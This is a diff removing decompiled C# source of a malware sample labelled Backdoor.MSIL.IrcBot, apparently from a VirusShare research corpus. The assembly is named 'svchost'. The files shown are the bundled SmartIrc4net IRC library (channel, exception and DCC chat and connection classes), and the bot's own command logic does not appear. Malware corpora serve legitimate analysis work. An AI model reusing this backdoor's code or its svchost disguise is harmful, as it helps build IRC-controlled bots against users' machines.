-
- public bool IsSycned
- {
- get => this._IsSycned;
- set => this._IsSycned = value;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ChannelInfo.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ChannelInfo.cs
deleted file mode 100644
index 44d1dfcd..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ChannelInfo.cs
+++ /dev/null
@@ -1,28 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ChannelInfo
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class ChannelInfo
- {
- private string f_Channel;
- private int f_UserCount;
- private string f_Topic;
-
- public string Channel => this.f_Channel;
-
- public int UserCount => this.f_UserCount;
-
- public string Topic => this.f_Topic;
-
- internal ChannelInfo(string channel, int userCount, string topic)
- {
- this.f_Channel = channel;
- this.f_UserCount = userCount;
- this.f_Topic = topic;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ChannelUser.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ChannelUser.cs
deleted file mode 100644
index e7f75f12..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ChannelUser.cs
+++ /dev/null
@@ -1,56 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ChannelUser
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class ChannelUser
- {
- private string _Channel;
- private IrcUser _IrcUser;
- private bool _IsOp;
- private bool _IsVoice;
-
- internal ChannelUser(string channel, IrcUser ircuser)
- {
- this._Channel = channel;
- this._IrcUser = ircuser;
- }
-
- public string Channel => this._Channel;
-
- public bool IsIrcOp => this._IrcUser.IsIrcOp;
-
- public bool IsOp
- {
- get => this._IsOp;
- set => this._IsOp = value;
- }
-
- public bool IsVoice
- {
- get => this._IsVoice;
- set => this._IsVoice = value;
- }
-
- public bool IsAway => this._IrcUser.IsAway;
-
- public IrcUser IrcUser => this._IrcUser;
-
- public string Nick => this._IrcUser.Nick;
-
- public string Ident => this._IrcUser.Ident;
-
- public string Host => this._IrcUser.Host;
-
- public string Realname => this._IrcUser.Realname;
-
- public string Server => this._IrcUser.Server;
-
- public int HopCount => this._IrcUser.HopCount;
-
- public string[] JoinedChannels => this._IrcUser.JoinedChannels;
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ConnectionException.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ConnectionException.cs
deleted file mode 100644
index 7f07d49f..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/ConnectionException.cs
+++ /dev/null
@@ -1,34 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.ConnectionException
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Runtime.Serialization;
-
-namespace Meebey.SmartIrc4net
-{
- [Serializable]
- public class ConnectionException : SmartIrc4netException
- {
- public ConnectionException()
- {
- }
-
- public ConnectionException(string message)
- : base(message)
- {
- }
-
- public ConnectionException(string message, Exception e)
- : base(message, e)
- {
- }
-
- protected ConnectionException(SerializationInfo info, StreamingContext context)
- : base(info, context)
- {
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CouldNotConnectException.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CouldNotConnectException.cs
deleted file mode 100644
index d389cbc5..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CouldNotConnectException.cs
+++ /dev/null
@@ -1,34 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.CouldNotConnectException
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Runtime.Serialization;
-
-namespace Meebey.SmartIrc4net
-{
- [Serializable]
- public class CouldNotConnectException : ConnectionException
- {
- public CouldNotConnectException()
- {
- }
-
- public CouldNotConnectException(string message)
- : base(message)
- {
- }
-
- public CouldNotConnectException(string message, Exception e)
- : base(message, e)
- {
- }
-
- protected CouldNotConnectException(SerializationInfo info, StreamingContext context)
- : base(info, context)
- {
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpDelegate.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpDelegate.cs
deleted file mode 100644
index 9ce2d7da..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpDelegate.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.CtcpDelegate
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void CtcpDelegate(CtcpEventArgs eventArgs);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpEventArgs.cs
deleted file mode 100644
index 11e0db55..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpEventArgs.cs
+++ /dev/null
@@ -1,25 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.CtcpEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class CtcpEventArgs : IrcEventArgs
- {
- private string _CtcpCommand;
- private string _CtcpParameter;
-
- public string CtcpCommand => this._CtcpCommand;
-
- public string CtcpParameter => this._CtcpParameter;
-
- internal CtcpEventArgs(IrcMessageData data, string ctcpcmd, string ctcpparam)
- : base(data)
- {
- this._CtcpCommand = ctcpcmd;
- this._CtcpParameter = ctcpparam;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpEventHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpEventHandler.cs
deleted file mode 100644
index 82368e53..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/CtcpEventHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.CtcpEventHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void CtcpEventHandler(object sender, CtcpEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChat.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChat.cs
deleted file mode 100644
index 95612ddf..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChat.cs
+++ /dev/null
@@ -1,152 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DccChat
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.IO;
-using System.Net;
-using System.Net.Sockets;
-using System.Threading;
-
-namespace Meebey.SmartIrc4net
-{
- public class DccChat : DccConnection
- {
- private StreamReader _sr;
- private StreamWriter _sw;
- private int _lines;
-
- public int Lines => this._lines;
-
- internal DccChat(
- IrcFeatures irc,
- string user,
- IPAddress externalIpAdress,
- bool passive,
- Priority priority)
- {
- this.Irc = irc;
- this.ExternalIPAdress = externalIpAdress;
- this.User = user;
- if (passive)
- {
- irc.SendMessage(SendType.CtcpRequest, user, "DCC CHAT chat " + this.HostToDccInt(externalIpAdress).ToString() + " 0 " + (object) this.session, priority);
- this.Disconnect();
- }
- else
- {
- this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
- this.DccServer.Start();
- this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
- irc.SendMessage(SendType.CtcpRequest, user, "DCC CHAT chat " + this.HostToDccInt(externalIpAdress).ToString() + " " + (object) this.LocalEndPoint.Port, priority);
- }
- }
-
- internal DccChat(IrcFeatures irc, IPAddress externalIpAdress, CtcpEventArgs e)
- {
- this.Irc = irc;
- this.ExternalIPAdress = externalIpAdress;
- this.User = e.Data.Nick;
- if (e.Data.MessageArray.Length > 4)
- {
- long result1;
- bool flag1 = long.TryParse(e.Data.MessageArray[3], out result1);
- int result2;
- bool flag2 = int.TryParse(this.FilterMarker(e.Data.MessageArray[4]), out result2);
- if (e.Data.MessageArray[2] == "chat" && flag1 && flag2)
- {
- this.RemoteEndPoint = new IPEndPoint(IPAddress.Parse(this.DccIntToHost(result1)), result2);
- if (e.Data.MessageArray.Length > 5 && e.Data.MessageArray[5] != "T")
- {
- this.AcceptRequest();
- return;
- }
- this.DccChatRequestEvent(new DccEventArgs((DccConnection) this));
- return;
- }
- irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Chat Parameter Error");
- }
- else
- irc.SendMessage(SendType.CtcpReply, e.Data.Nick, "ERRMSG DCC Chat not enough parameters");
- this.isValid = false;
- }
-
- internal override void InitWork(object stateInfo)
- {
- if (!this.Valid)
- return;
- if (this.DccServer != null)
- {
- this.Connection = this.DccServer.AcceptTcpClient();
- this.RemoteEndPoint = (IPEndPoint) this.Connection.Client.RemoteEndPoint;
- this.DccServer.Stop();
- this.isConnected = true;
- }
- else
- {
- while (!this.isConnected)
- {
- Thread.Sleep(500);
- if (this.reject)
- {
- this.isValid = false;
- return;
- }
- }
- }
- this.DccChatStartEvent(new DccEventArgs((DccConnection) this));
- this._sr = new StreamReader((Stream) this.Connection.GetStream(), this.Irc.Encoding);
- this._sw = new StreamWriter((Stream) this.Connection.GetStream(), this.Irc.Encoding);
- this._sw.AutoFlush = true;
- string messageLine;
- while ((messageLine = this._sr.ReadLine()) != null && this.isConnected)
- {
- this.DccChatReceiveLineEvent(new DccChatEventArgs((DccConnection) this, messageLine));
- ++this._lines;
- }
- this.isValid = false;
- this.isConnected = false;
- this.DccChatStopEvent(new DccEventArgs((DccConnection) this));
- }
-
- public bool AcceptRequest()
- {
- if (this.isConnected)
- return false;
- try
- {
- if (this.RemoteEndPoint.Port == 0)
- {
- this.DccServer = new TcpListener(new IPEndPoint(IPAddress.Any, 0));
- this.DccServer.Start();
- this.LocalEndPoint = (IPEndPoint) this.DccServer.LocalEndpoint;
- this.Irc.SendMessage(SendType.CtcpRequest, this.User, "DCC CHAT chat " + this.HostToDccInt(this.ExternalIPAdress).ToString() + " " + (object) this.LocalEndPoint.Port);
- }
- else
- {
- this.Connection = new TcpClient();
- this.Connection.Connect(this.RemoteEndPoint);
- this.isConnected = true;
- }
- return true;
- }
- catch (Exception ex)
- {
- this.isValid = false;
- this.isConnected = false;
- return false;
- }
- }
-
- public void WriteLine(string message)
- {
- if (!this.isConnected)
- throw new NotConnectedException("DCC Chat is not Connected");
- this._sw.WriteLine(message);
- ++this._lines;
- this.DccChatSentLineEvent(new DccChatEventArgs((DccConnection) this, message));
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChatEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChatEventArgs.cs
deleted file mode 100644
index 203b0c1b..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChatEventArgs.cs
+++ /dev/null
@@ -1,25 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DccChatEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public class DccChatEventArgs : DccEventArgs
- {
- private string _Message;
- private string[] _MessageArray;
-
- public string Message => this._Message;
-
- public string[] MessageArray => this._MessageArray;
-
- internal DccChatEventArgs(DccConnection dcc, string messageLine)
- : base(dcc)
- {
- this._Message = messageLine;
- this._MessageArray = messageLine.Split(' ');
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChatLineHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChatLineHandler.cs
deleted file mode 100644
index a2c93d87..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccChatLineHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DccChatLineHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void DccChatLineHandler(object sender, DccChatEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccConnection.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccConnection.cs
deleted file mode 100644
index bfeb0228..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccConnection.cs
+++ /dev/null
@@ -1,193 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DccConnection
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-using System.Net;
-using System.Net.Sockets;
-
-namespace Meebey.SmartIrc4net
-{
- public class DccConnection
- {
- protected IrcFeatures Irc;
- protected TcpListener DccServer;
- protected TcpClient Connection;
- protected IPEndPoint LocalEndPoint;
- protected IPEndPoint RemoteEndPoint;
- protected IPAddress ExternalIPAdress;
- protected DateTime Timeout;
- protected string User;
- protected bool isConnected;
- protected bool isValid = true;
- protected bool reject;
- protected long session;
-
- public bool Connected => this.isConnected;
-
- public bool Valid
- {
- get
- {
- if (!this.isValid)
- return false;
- return this.isConnected || DateTime.Now < this.Timeout;
- }
- }
-
- public string Nick => this.User;
-
- public event DccConnectionHandler OnDccChatRequestEvent;
-
- protected virtual void DccChatRequestEvent(DccEventArgs e)
- {
- if (this.OnDccChatRequestEvent != null)
- this.OnDccChatRequestEvent((object) this, e);
- this.Irc.DccChatRequestEvent(e);
- }
-
- public event DccSendRequestHandler OnDccSendRequestEvent;
-
- protected virtual void DccSendRequestEvent(DccSendRequestEventArgs e)
- {
- if (this.OnDccSendRequestEvent != null)
- this.OnDccSendRequestEvent((object) this, e);
- this.Irc.DccSendRequestEvent(e);
- }
-
- public event DccConnectionHandler OnDccChatStartEvent;
-
- protected virtual void DccChatStartEvent(DccEventArgs e)
- {
- if (this.OnDccChatStartEvent != null)
- this.OnDccChatStartEvent((object) this, e);
- this.Irc.DccChatStartEvent(e);
- }
-
- public event DccConnectionHandler OnDccSendStartEvent;
-
- protected virtual void DccSendStartEvent(DccEventArgs e)
- {
- if (this.OnDccSendStartEvent != null)
- this.OnDccSendStartEvent((object) this, e);
- this.Irc.DccSendStartEvent(e);
- }
-
- public event DccChatLineHandler OnDccChatReceiveLineEvent;
-
- protected virtual void DccChatReceiveLineEvent(DccChatEventArgs e)
- {
- if (this.OnDccChatReceiveLineEvent != null)
- this.OnDccChatReceiveLineEvent((object) this, e);
- this.Irc.DccChatReceiveLineEvent(e);
- }
-
- public event DccSendPacketHandler OnDccSendReceiveBlockEvent;
-
- protected virtual void DccSendReceiveBlockEvent(DccSendEventArgs e)
- {
- if (this.OnDccSendReceiveBlockEvent != null)
- this.OnDccSendReceiveBlockEvent((object) this, e);
- this.Irc.DccSendReceiveBlockEvent(e);
- }
-
- public event DccChatLineHandler OnDccChatSentLineEvent;
-
- protected virtual void DccChatSentLineEvent(DccChatEventArgs e)
- {
- if (this.OnDccChatSentLineEvent != null)
- this.OnDccChatSentLineEvent((object) this, e);
- this.Irc.DccChatSentLineEvent(e);
- }
-
- public event DccSendPacketHandler OnDccSendSentBlockEvent;
-
- protected virtual void DccSendSentBlockEvent(DccSendEventArgs e)
- {
- if (this.OnDccSendSentBlockEvent != null)
- this.OnDccSendSentBlockEvent((object) this, e);
- this.Irc.DccSendSentBlockEvent(e);
- }
-
- public event DccConnectionHandler OnDccChatStopEvent;
-
- protected virtual void DccChatStopEvent(DccEventArgs e)
- {
- if (this.OnDccChatStopEvent != null)
- this.OnDccChatStopEvent((object) this, e);
- this.Irc.DccChatStopEvent(e);
- }
-
- public event DccConnectionHandler OnDccSendStopEvent;
-
- protected virtual void DccSendStopEvent(DccEventArgs e)
- {
- if (this.OnDccSendStopEvent != null)
- this.OnDccSendStopEvent((object) this, e);
- this.Irc.DccSendStopEvent(e);
- }
-
- internal DccConnection()
- {
- this.session = DccConnection.Session.Next;
- this.Timeout = DateTime.Now.AddSeconds(120.0);
- }
-
- internal virtual void InitWork(object stateInfo) => throw new NotSupportedException();
-
- internal bool isSession(long session) => session == this.session;
-
- public void RejectRequest()
- {
- this.Irc.SendMessage(SendType.CtcpReply, this.User, "ERRMSG DCC Rejected");
- this.reject = true;
- this.isValid = false;
- }
-
- public void Disconnect()
- {
- this.isConnected = false;
- this.isValid = false;
- }
-
- public override string ToString() => "DCC Session " + (object) this.session + " of " + this.GetType().ToString() + " is " + (this.isConnected ? (object) ("connected to " + this.RemoteEndPoint.Address.ToString()) : (object) "not connected") + "[" + this.User + "]";
-
- protected long HostToDccInt(IPAddress ip) => (ip.Address & (long) byte.MaxValue) << 24 | (ip.Address & 65280L) << 8 | ip.Address >> 8 & 65280L | ip.Address >> 24 & (long) byte.MaxValue;
-
- protected string DccIntToHost(long ip)
- {
- IPEndPoint ipEndPoint = new IPEndPoint(ip, 80);
- char[] chArray = new char[1]{ '.' };
- string[] strArray = ipEndPoint.Address.ToString().Split(chArray);
- return strArray[3] + "." + strArray[2] + "." + strArray[1] + "." + strArray[0];
- }
-
- protected byte[] getAck(long SentBytes) => new byte[4]
- {
- (byte) ((ulong) (SentBytes >> 24) % 256UL),
- (byte) ((ulong) (SentBytes >> 16) % 256UL),
- (byte) ((ulong) (SentBytes >> 8) % 256UL),
- (byte) ((ulong) SentBytes % 256UL)
- };
-
- protected string FilterMarker(string msg)
- {
- string str = "";
- foreach (char ch in msg)
- {
- if (ch != '\u0001')
- str += (string) (object) ch;
- }
- return str;
- }
-
- private class Session
- {
- private static long next;
-
- internal static long Next => ++DccConnection.Session.next;
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccConnectionHandler.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccConnectionHandler.cs
deleted file mode 100644
index f051ef8c..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccConnectionHandler.cs
+++ /dev/null
@@ -1,10 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DccConnectionHandler
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-namespace Meebey.SmartIrc4net
-{
- public delegate void DccConnectionHandler(object sender, DccEventArgs e);
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccEventArgs.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccEventArgs.cs
deleted file mode 100644
index 156f16f4..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccEventArgs.cs
+++ /dev/null
@@ -1,19 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DccEventArgs
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f.exe
-
-using System;
-
-namespace Meebey.SmartIrc4net
-{
- public class DccEventArgs : EventArgs
- {
- private DccConnection _dcc;
-
- public DccConnection dcc => this._dcc;
-
- internal DccEventArgs(DccConnection dcc) => this._dcc = dcc;
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSend.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSend.cs
deleted file mode 100644
index e5f1e495..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.lp-4dd7df88cffbf85a5894bc1b38660fa613c24b0e6c004ac00b2b119c03a35d3f/Meebey/SmartIrc4net/DccSend.cs
+++ /dev/null
@@ -1,252 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Meebey.SmartIrc4net.DccSend
-// Assembly: svchost, Version=3.2.4.0, Culture=neutral, PublicKeyToken=null
-// MVID: 8F51F928-E1DB-4815-857F-7D580385B815
